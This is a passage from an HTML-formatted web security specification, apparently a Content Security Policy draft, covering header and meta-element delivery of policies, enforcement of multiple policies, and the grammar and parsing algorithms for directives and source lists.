<a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> /csp-report-endpoint/\n</pre>\n      \n    \n     </div>\n     \n\n\n     <p>If their site violates this policy the user agent will <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n    reports</a> to the URL specified in the policy’s <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header field.</p>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>.</p>\n     \n\n\n     <p>A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same resource or with different\n    resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> each of the policies\n    contained in each such header field.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.3\" id=\"delivery-html-meta-element\"><span class=\"secno\">3.3. </span><span class=\"content\">\n      HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> Element\n    </span><a class=\"self-link\" href=\"#delivery-html-meta-element\"></a></h3>\n     \n\n\n     <p>The server MAY supply policy via one or more HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements\n    with <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code> attributes that are an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n    match</a> for the string \"<code>Content-Security-Policy</code>\". For\n    example:</p>\n     \n\n    \n     <pre class=\"example\">&lt;meta http-equiv=\"Content-Security-Policy\" content=\"<a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'\">\n</pre>\n     \n\n\n     <p>Add the following entry to the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/document-metadata.html#pragma-directives\">pragma directives</a> for the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>\n    element:</p>\n     \n\n    \n     <dl>\n      \n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      \n      \n      \n      <dd>\n        \n       <ol>\n          \n        <li>If the Document’s <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-head-element\">head</a></code> element is not an ancestor of the\n          <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element, abort these steps.\n        \n\n          \n        <li>If the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element lacks a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute, abort\n          these steps.\n        \n\n          \n        <li>Let <var>policy</var> be the value of the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code>\n          attribute of the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.\n        \n\n          \n        <li>Let <var>directive-set</var> be the result of\n          <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parsing <var>policy</var></a>.\n        \n\n          \n        <li>\n            Remove all occurrences of <code><a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a></code>,\n            <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code>, and <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code>\n            directives from <var>directive-set</var>.\n\n\n         <p class=\"note\" role=\"note\">Note: User agents are encouraged to issue a warning to developers\n            if one or more of these directives are included in a policy\n            delivered via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>.</p>\n         \n          \n        \n\n          \n        <li>Enforce each of the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directives</a> in <var>directive-set</var>,\n          as <a href=\"#directives\">defined for each directive type</a>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </dl>\n     \n\n\n     <p>Authors are <em>strongly encouraged</em> to place <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements as early\n    in the document as possible, because policies in <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements are not\n    applied to content which preceeds them. In particular, note that resources\n    fetched or prefetched using the <code>Link</code> HTTP response header\n    field, and resources fetched or prefetched using <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>\n    elements which preceed a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>-delivered policy will not be blocked.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: A <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> specified via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element will be enforced\n    along with any other policies active for the protected resource, regardless\n    of where they’re specified. The general impact of enforcing multiple\n    policies is described in <a href=\"#enforcing-multiple-policies\">§3.5 Enforcing multiple policies.</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Modifications to the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element\n    after the element has been parsed will be ignored.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.4\" id=\"csp-request-header\"><span class=\"secno\">3.4. </span><span class=\"content\">The <code>CSP</code> HTTP Request Header</span><a class=\"self-link\" href=\"#csp-request-header\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"csp\">CSP<a class=\"self-link\" href=\"#csp\"></a></dfn></code> header field indicates that a particular\n    request is subject to a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>, and its value is defined by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre>\"CSP:\" 1#<a data-link-type=\"dfn\" href=\"#csp_header_value\">csp-header-value</a>\n\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"csp_header_value\">csp-header-value<a class=\"self-link\" href=\"#csp_header_value\"></a></dfn> = *WSP \"active\" *WSP\n</pre>\n     \n\n\n     <p>If the user agent is <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforcing</a> a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>\n    that includes directives whose value is a <a data-link-type=\"dfn\" href=\"#source-list\">source list</a>, and whose\n    source list contains the <code>'unsafe-redirect'</code> source expression,\n    then the user agent MUST send a header field named <code>CSP</code>\n    along with requests for resources whose <a data-link-type=\"dfn\" href=\"#origin\">origin</a> <em>does not</em>\n    match the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>’s origin. The value of this header MUST\n    be <code>active</code>.</p>\n     \n\n\n     <p>The user agent MAY choose to send this header only if the request is for a\n    resource type which the active policy would effect. That is, given a policy\n    of <code>img-src example.com 'unsafe-redirect'</code>, the user agent\n    would send <code>CSP: active</code> along with requests for images, but\n    might choose not to send the header with requests for script.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The central reason for including this header is that it hints to a\n    server that information about redirects might be leaked as a side-effect\n    of a page’s active policy. If this header is present, a server might decline\n    to redirect a logged-out user from <code>example.com</code> to\n    <code>accounts.example.com</code>, for example, as a malicious embedder\n    might otherwise be able to determine the user’s logged-in status.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.5\" id=\"enforcing-multiple-policies\"><span class=\"secno\">3.5. </span><span class=\"content\">Enforcing multiple policies.</span><a class=\"self-link\" href=\"#enforcing-multiple-policies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:</p>\n     \n\n    \n     <pre class=\"example\">Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self' http://example.com http://example.net;\n                         <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> 'none';\nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> http://example.com/;\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> http://example.com/\n</pre>\n     \n\n\n     <p>Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.</p>\n     \n\n\n     <p>To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy’s criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.6\" id=\"which-policy-applies\"><span class=\"secno\">3.6. </span><span class=\"content\">Policy applicability</span><a class=\"self-link\" href=\"#which-policy-applies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>Policies are associated with an <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, and\n    <a data-link-type=\"dfn\" href=\"#enforce\">enforced</a> or <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a> for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:</p>\n     \n\n    \n     <table>\n      \n      <thead>\n        \n       <tr>\n          \n        <th colspan=\"2\">Resource Type\n        \n          \n        <th>What <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> applies?\n        \n        \n       \n      \n      \n      \n      <tbody>\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"2\">Top-level Contexts\n        \n\n          \n        <td>HTML as a new, top-level browsing context\n        \n          \n        <td>The policy delivered with the resource\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a top-level document\n        \n          \n        <td>Policy delivered with the resource\n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"3\">Embedded Contexts\n        \n\n          \n        <td>\n            Any resource included via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n          \n        \n          \n        <td>\n            The policy of the embedding resource controls <em>what</em> may be\n            embedded. The embedded resource, however, is controlled by the\n            policy delivered with the resource, or the policy of the embedding\n            resource if the embedded resource is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n            identifier</a> (or a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-srcdoc\">srcdoc</a></code> frame).\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as an embedded document\n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>.\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>\n            JavaScript, as a Worker, Shared Worker or Service Worker\n          \n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n          \n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"7\">Subresources\n        \n\n          \n        <td>SVG, inlined via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/svg2/struct.html#elementdef-svg\">svg</a></code>\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a resource document\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>HTML via XMLHttpRequest\n        \n          \n        <td>Policy of the context that performed the fetch\n        \n        \n       \n        \n       <tr>\n          \n        <td>Image via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>JavaScript via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>\n        \n          \n        <td>No policy; should be just as safe as JPG\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a WebFont\n        \n          \n        <td>No policy; should be just as safe as WOFF\n        \n        \n       \n      \n      \n    \n     </table>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"4\" id=\"syntax-and-algorithms\"><span class=\"secno\">4. </span><span class=\"content\">Syntax and Algorithms</span><a class=\"self-link\" href=\"#syntax-and-algorithms\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.1\" id=\"policy-syntax\"><span class=\"secno\">4.1. </span><span class=\"content\">Policy Syntax</span><a class=\"self-link\" href=\"#policy-syntax\"></a></h3>\n     \n\n\n     <p>A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a>\n    consists of a <a data-link-type=\"dfn\" href=\"#security-policy-directive-name\">directive name</a> and (optionally) a\n    <a data-link-type=\"dfn\" href=\"#security-policy-directive-value\">directive value</a>, defined by the following ABNF:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy_token\">policy-token<a class=\"self-link\" href=\"#policy_token\"></a></dfn>    = [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> *( \";\" [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> ] ) ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_token\">directive-token<a class=\"self-link\" href=\"#directive_token\"></a></dfn> = *WSP [ <a data-link-type=\"dfn\" href=\"#directive_name\">directive-name</a> [ WSP <a data-link-type=\"dfn\" href=\"#directive_value\">directive-value</a> ] ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_name\">directive-name<a class=\"self-link\" href=\"#directive_name\"></a></dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_value\">directive-value<a class=\"self-link\" href=\"#directive_value\"></a></dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"> )\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.1.1\" id=\"policy-parsing\"><span class=\"secno\">4.1.1. </span><span class=\"content\">Parsing Policies</span><a class=\"self-link\" href=\"#policy-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-the-policy\">parse the policy<a class=\"self-link\" href=\"#parse-the-policy\"></a></dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of directives</var> be the empty set.\n       \n\n        \n       <li>For each non-empty token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          \n        <ol>\n            \n         <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#skip-whitespace\">Skip whitespace</a>.\n         \n\n            \n         <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">Collect a sequence of characters</a> that are\n            not <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space characters</a>. The collected characters\n            are the <var>directive name</var>.\n         \n\n            \n         <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space character</a>).\n         \n\n            \n         <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.\n         \n\n            \n         <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.\n         \n\n            \n         <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.\n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>Return the <var>set of directives</var>.\n      \n      </ol>\n      \n    \n     </section>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.2\" id=\"source-list-syntax\"><span class=\"secno\">4.2. </span><span class=\"content\">Source List Syntax</span><a class=\"self-link\" href=\"#source-list-syntax\"></a></h3>\n     \n\n\n     <p>Many CSP directives use a value consisting of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-list\">source\n    list<a class=\"self-link\" href=\"#source-list\"></a></dfn>, defined in the ABNF grammar below.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-expression\">source expression<a class=\"self-link\" href=\"#source-expression\"></a></dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URLs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_list\">source-list<a class=\"self-link\" href=\"#source_list\"></a></dfn>       = *WSP [ <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> ) *WSP ]\n                  / *WSP \"'none'\" *WSP\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_expression\">source-expression<a class=\"self-link\" href=\"#source_expression\"></a></dfn> = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a> / <a data-link-type=\"dfn\" href=\"#keyword_source\">keyword-source</a> / <a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a> / <a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_source\">scheme-source<a class=\"self-link\" href=\"#scheme_source\"></a></dfn>     = <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \":\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_source\">host-source<a class=\"self-link\" href=\"#host_source\"></a></dfn>       = [ <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \"://\" ] <a data-link-type=\"dfn\" href=\"#host_part\">host-part</a> [ <a data-link-type=\"dfn\" href=\"#port_part\">port-part</a> ] [ <a data-link-type=\"dfn\" href=\"#path_part\">path-part</a> ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"keyword_source\">keyword-source<a class=\"self-link\" href=\"#keyword_source\"></a></dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\" / \"'unsafe-redirect'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base64_value\">base64-value<a class=\"self-link\" href=\"#base64_value\"></a></dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_value\">nonce-value<a class=\"self-link\" href=\"#nonce_value\"></a></dfn>       = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_value\">hash-value<a class=\"self-link\" href=\"#hash_value\"></a></dfn>        = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_source\">nonce-source<a class=\"self-link\" href=\"#nonce_source\"></a></dfn>      = \"'nonce-\" <a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_algo\">hash-algo<a class=\"self-link\" href=\"#hash_algo\"></a></dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_source\">hash-source<a class=\"self-link\" href=\"#hash_source\"></a></dfn>       = \"'\" <a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a> \"-\" <a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_part\">scheme-part<a class=\"self-link\" href=\"#scheme_part\"></a></dfn>       = &lt;scheme production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">RFC 3986, section 3.1</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_part\">host-part<a class=\"self-link\" href=\"#host_part\"></a></dfn>         = \"*\" / [ \"*.\" ] 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> *( \".\" 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_char\">host-char<a class=\"self-link\" href=\"#host_char\"></a></dfn>         = ALPHA / DIGIT / \"-\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"path_part\">path-part<a class=\"self-link\" href=\"#path_part\"></a></dfn>         = &lt;path production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">RFC 3986, section 3.3</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"port_part\">port-part<a class=\"self-link\" href=\"#port_part\"></a></dfn>         = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n     \n\n\n     <p>If the policy contains a <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    The generated value SHOULD be at least 128 bits long (before encoding),\n    and generated via a cryptographically secure random number generator.\n    This requirement ensures that the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> is\n    difficult for an attacker to predict.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Using a nonce to whitelist inline script or style is less secure than\n    not using a nonce, as nonces override the restrictions in the directive in\n    which they are present. An attacker who can gain access to the nonce can\n    execute whatever script they like, whenever they like. That said, nonces\n    provide a substantial improvement over <code>'unsafe-inline'</code> when\n    layering a content security policy on top of old code. When considering\n    <code>'unsafe-inline'</code>, authors are encouraged to consider nonces (or\n    hashes) instead.</p>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#host_char\">host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc3492\">[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">NOTE: Though IP addresses do match the grammar above, only\n    <code>127.0.0.1</code> will actually match a URL when used in a source\n    expression (see <a href=\"#match-source-expression\">§4.2.2 Matching Source Expressions</a> for details). The security\n    properties of IP addresses are suspect, and authors ought to prefer\n    hostnames to IP addresses whenever possible.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.1\" id=\"source-list-parsing\"><span class=\"secno\">4.2.1. </span><span class=\"content\">Parsing Source Lists</span><a class=\"self-link\" href=\"#source-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-source-list\">parse a source list<a class=\"self-link\" href=\"#parse-a-source-list\"></a></dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.\n       \n\n        \n       <li>If <var>source list</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a>\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.\n       \n\n        \n       <li>Let <var>set of source expressions</var> be the empty\n        set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.\n       \n\n        \n       <li>Return the <var>set of source expressions</var>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you’d like to include these characters in a source\n      expression, they must be <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-encode\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.2\" id=\"match-source-expression\"><span class=\"secno\">4.2.2. </span><span class=\"content\">Matching Source Expressions</span><a class=\"self-link\" href=\"#match-source-expression\"></a></h4>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-expression\">match a source expression<a class=\"self-link\" href=\"#match-a-source-expression\"></a></dfn> for\n      a <var>protected resource</var> if the following algorithm returns\n      <em>does match</em>:</p>\n      \n\n      \n      <ol>\n        \n       <li>\n          Let <var>url</var> be the result of processing the URL through the\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-parser\">URL parser</a>.\n        \n       \n\n        \n       <li>\n          If the source expression a consists of a single U+002A ASTERISK\n          character (<code>*</code>), and <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is not\n          one of <code>blob</code>, <code>data</code>, <code>filesystem</code>,\n          then return <em>does match</em>.\n        \n       \n\n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n              match</a> for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>, return <em>does match</em>.\n            \n         \n\n            \n         <li>\n              